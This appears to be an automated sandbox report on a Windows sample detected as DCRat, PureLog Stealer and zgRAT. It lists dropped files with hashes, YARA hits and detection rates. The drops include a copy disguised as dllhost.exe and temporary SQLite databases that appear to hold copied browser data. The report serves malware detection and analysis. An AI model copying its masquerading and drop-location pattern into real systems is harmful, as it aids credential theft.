	xoCq1tvPcm.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	eu6OEBpBCI.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	A5EbyKyjhV.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\86503de627f43d

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with very long lines (684), with no line terminators
Category:	dropped
Size (bytes):	684
Entropy (8bit):	5.886244879928409
Encrypted:	false
SSDEEP:	12:qjO7SAHzN5sJPK2t+geoiqCPS1URSWHyJGrZoRHO4Rh+4EyHh:T7SgTsJPKsgqyS1URhevRh2Ch
MD5:	84A84BB8EA0614FB46EBFA0C4E113664
SHA1:	D4F8330228B680E7FE0BE3B8721B33AC44A5C19F
SHA-256:	74E228EE470F0F0A027C14512FA9CAB6AA8D1C5F04AD4686B3F75E16896FC0EC
SHA-512:	7E713453B17AB85EEB2CD98E479714395E08FE4C5064DB545F2468183A8C3567D213019A181FE52155C5455FC348FCC8F5A45398CDA25D67B9DCF54F8D6D88ED
Malicious:	false
Reputation:	low
Preview:	6bnZL052yyYKRxnZ1Gfb1MTRRwohFGFJExFOoQcBwAjvX7D5kYtHAFzuHWHYMXwrtOFdrZvlndo0mi3Tst7qW7I88VGRIDzYN1BI1kNKnIdgb8HicypdZGVvFHfWSedjoPmvgvcIfxDNdmh9NhyUYW9HfQCtE01Jp32LVWCrVg7mDHRdjfIupILRQfPQssEo53iktWo1fG81YWDX8iKisHdgrk4zHw8mcTrJjruN1RPiJU34c1RKif6yZC2IbyttHWYFp3yRy6ra24WXq9XQfyE6W2thzlvCifbx5yPiC9Vmxg6fpebcadOSRcswKQcMKp2Wdib2uzNfdcJ06O1UJTmERIfdGdXwhIbIojBGDjrkQszzS1z5ZID1CxEVC7vRbb8UAAMWNuQjlByiSpKOncWZFjF0fpEFxaIzufzSpcso1dPB9fCWxhn9EiOb4V1hqLwL28yx02jKusimTD19nrSQwJvLQXXUlK7prEJArPg58dPVAmH0d2493fZsNngceOjjv24P40SXLXST3aKnQg0sQ7wLoaxEsDat3qjIs16nkgygNGzwc3M7Y1SxGtldCOoI6iZN0C5ZkMItJP7ilAlz1dVCXwC8QdlW2pkpql6a8wWLsin0wC1BmzRcNXzEA7JHlw1dpS1AEL1EGKTzILLNljtCYHbSv2aAnPj6qJKe

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26710528
Entropy (8bit):	1.3786054531846224
Encrypted:	false
SSDEEP:	98304:vS4Lhcl+62txet6kccrV00zSO76bgkVB:vS4yA62txY1cc0XOubtVB
MD5:	B9C8DEE5E0470B21D27B1A70AFE25495
SHA1:	955AEBC905591BE2C45FB95AC689374552455B58
SHA-256:	04069D6DC8C9B79D04E96C9CD2950A374ABE0C2604110C27227F60A851DA123D
SHA-512:	995EA49BDCBA082927264E6DCA3AC5D45AD8E152A3C9D71B9F63881E10537F866B5F45E1634AF5BC1C44FB36FB0EC48B1A0ECE866E1F58D14C2DCC46A0C88CF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg.................0..........I0.. ...`0...@.. ........................0...........@..................................I0.K....`0. .....................0...................................................... ............... ..H............text....)0.. ...0................. ..`.rsrc... ....`0......,0.............@....reloc........0......00.............@..B.................I0.....H.......`...................'i%..I0......................................0..........(.... ........8........E........9...)...8...8....(.... ....~....{p...:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....................\.......P...8....~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....r...ps....z...... ....~....{....:i...& ....8^...8.... ....~....{....:E...& ....8:...~....9.... ....8&.......~...

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\86503de627f43d

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with very long lines (643), with no line terminators
Category:	dropped
Size (bytes):	643
Entropy (8bit):	5.865019339634394
Encrypted:	false
SSDEEP:	12:TKoGyTaBqntrSuGazffh7/QDpqnc4lGTc4pk+lMEjdKb07VQa:mxVBUtrjGazh7YDqcoGTVprMWX
MD5:	FBB6274C01549C8DD70C666285F82C9B
SHA1:	85F654A7463CA0BE53E16E7DF34D2C168286DFF2
SHA-256:	DFD46799E25A9EF10A31685F1B72D7404F3AD97316AEED1BA9F34F9B6FDCFFE2
SHA-512:	0211C0CB3F93B31E0B4731BD5C5BC96032BD45928070EC874D52C36D94EA4ED77260B22D742CE4EFE0B31EC810B9284BA045892CFC81F0168E1BA830768A5C41
Malicious:	false
Reputation:	low
Preview:	m7MLBRcndC9LyIdfuNUHxpMjkzuMYWIzYOwJjIwsXum8HIFfzytPJ907vmlLhPPG3JxkVU5lbltCCNcbuPXkn3qYXzX7gkLHfgF8VeKf2HxhQy4hKKbS2od9cYMf68F0alhgIeFQE2sgFJIj40wWJ3P0DFf6Roi3C7HoQYYqEKN9674TQmlFLsqhVrdD8I8aTydHBdTfbGR8qP3GKLqoCdrTRkSj5Vr5MwqIdwRwTFnFar0FxX2xcTY0GK0bKtkGYWw3jumY33V6zm2jtNwic4c3Y0CS5zmkfgqE57gCue3j8bAdSRs77Coe33fssUcERvbS5xnwqtx8A356ziAoHomd2LLCbxTZBzRM9sien6QNOqd97i2KTy6mI8atmlU3ZX7Lls7HAgAKXYPMsLE24JGM2pEBRy1ClXy0sSXPlvKxywOtsNBbgb8PRuT6n50Mp8iAkZdayyRJ9TYFaUSEwafJYii88amq58HzNOJTulnrKzQ8WNgSmwZPcYlB0fbXMkOBLi2LL8TLxy9jSjlv4TDJi2XynIdPJPejlPxxUVHocOboZCtQ3qc3hFcSLEhDfEBhTZ8CwyajLZqUbsYlYMVdxkCfwflQxEIXM4UADqeFQ3sIYI1cp6oTsiusXcPQMJw

C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26710528
Entropy (8bit):	1.3786054531846224
Encrypted:	false
SSDEEP:	98304:vS4Lhcl+62txet6kccrV00zSO76bgkVB:vS4yA62txY1cc0XOubtVB
MD5:	B9C8DEE5E0470B21D27B1A70AFE25495
SHA1:	955AEBC905591BE2C45FB95AC689374552455B58
SHA-256:	04069D6DC8C9B79D04E96C9CD2950A374ABE0C2604110C27227F60A851DA123D
SHA-512:	995EA49BDCBA082927264E6DCA3AC5D45AD8E152A3C9D71B9F63881E10537F866B5F45E1634AF5BC1C44FB36FB0EC48B1A0ECE866E1F58D14C2DCC46A0C88CF7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg.................0..........I0.. ...`0...@.. ........................0...........@..................................I0.K....`0. .....................0...................................................... ............... ..H............text....)0.. ...0................. ..`.rsrc... ....`0......,0.............@....reloc........0......00.............@..B.................I0.....H.......`...................'i%..I0......................................0..........(.... ........8........E........9...)...8...8....(.... ....~....{p...:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....................\.......P...8....~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....r...ps....z...... ....~....{....:i...& ....8^...8.... ....~....{....:E...& ....8:...~....9.... ....8&.......~...

C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Default\5940a34987c991

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	99
Entropy (8bit):	5.392956337312864
Encrypted:	false
SSDEEP:	3:jjvH69owtb+X43iuCO9J+RL:nC97tb+X43tbqx
MD5:	2608EDBCDCEF40F98E121A511B70D9BD
SHA1:	D97D7183C2A7DD6E4A72A8F9B51E27AC9F44FCE6
SHA-256:	4B1E17D3A1AF5480E0619F84654603317FB5B959A953C530D25F95479E58FF40
SHA-512:	54497735099E0FC6486CE33F3772703DFD076D4D22076C59ADBC2C6F91CC60F14E888CE0A9340A75A5877DF0FB2CF4E94D54EE777E32962C8B99008516631EF9
Malicious:	false
Preview:	TquTnvpMGIIKsgam4IkzY39XJWqRcVojmSsCManM2BUI7m52asUmopqZqXKRFYtvejhaxXZefX7Xj0agax0uAB47lSWzQVHeSio

C:\Users\Default\dllhost.exe

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26710528
Entropy (8bit):	1.3786054531846224
Encrypted:	false
SSDEEP:	98304:vS4Lhcl+62txet6kccrV00zSO76bgkVB:vS4yA62txY1cc0XOubtVB
MD5:	B9C8DEE5E0470B21D27B1A70AFE25495
SHA1:	955AEBC905591BE2C45FB95AC689374552455B58
SHA-256:	04069D6DC8C9B79D04E96C9CD2950A374ABE0C2604110C27227F60A851DA123D
SHA-512:	995EA49BDCBA082927264E6DCA3AC5D45AD8E152A3C9D71B9F63881E10537F866B5F45E1634AF5BC1C44FB36FB0EC48B1A0ECE866E1F58D14C2DCC46A0C88CF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\dllhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\dllhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg.................0..........I0.. ...`0...@.. ........................0...........@..................................I0.K....`0. .....................0...................................................... ............... ..H............text....)0.. ...0................. ..`.rsrc... ....`0......,0.............@....reloc........0......00.............@..B.................I0.....H.......`...................'i%..I0......................................0..........(.... ........8........E........9...)...8...8....(.... ....~....{p...:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....................\.......P...8....~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....r...ps....z...... ....~....{....:i...& ....8^...8.... ....~....{....:E...& ....8:...~....9.... ....8&.......~...

C:\Users\Default\dllhost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\6G8OR42xrB.exe.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1698
Entropy (8bit):	5.367720686892084
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHV1qHGIs0HK1HmHKlT4x:iqbYqGSI6oPtzHeqKkt1wmj0q1GqZ4x
MD5:	1CC465BAC3EF7B2D68EBEDF067EF45EA
SHA1:	2C2DEC3CF0CBCCF3B3238ADEB28524C909BA5273
SHA-256:	F4604427137BD1C68C5FC6CA6A23DA69977F78ACE88B0C1D3BEBCFA59D64B6F6
SHA-512:	EE3CB2F0E3696758A3D7E15D9F2B9436EC7307509259AEF502892AE665F59BC50EA75C47200D73BBA4C90A8C07B5736843CDC75CAA4751531D5541AF934CFE51
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyT

C:\Users\user\AppData\Local\Temp\09JXV2dyHb

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0dMGP9GQx6

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1cRwhuhITf

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1iOYatUOO7

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1ru4y7bBsU

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1sSALS9pms

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2MYIX1ywcL

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2UfEjdqAg6

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2ZfKmWCraw

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2ZvWcMifhk

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2dsOMMkoGC

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2lPTdjsXLA

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.673269689515109
Encrypted:	false
SSDEEP:	3:PsmV3KrJon:pV36on
MD5:	01E0E4E5585B780B6FA95F96FCC0CD2E
SHA1:	92940D8F70603E68DE3B4E7017EE9497B5DBAFBE
SHA-256:	FCDB487235D4C9E5E70AE927737BE873402A5EFD56A97045FD8947DF4BA079DA
SHA-512:	E2B759FA4E71031175B6E237932858EB8465387FC63671BE76D26C03701CC19D54CBCFC893762FC50CDB8E21A7CBB4E0A55336EC2E69A660E72E355CD45D46EE
Malicious:	false
Preview:	Acb03xXk6P0tkitoA6oxltllk

C:\Users\user\AppData\Local\Temp\2sND3mvlNs

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
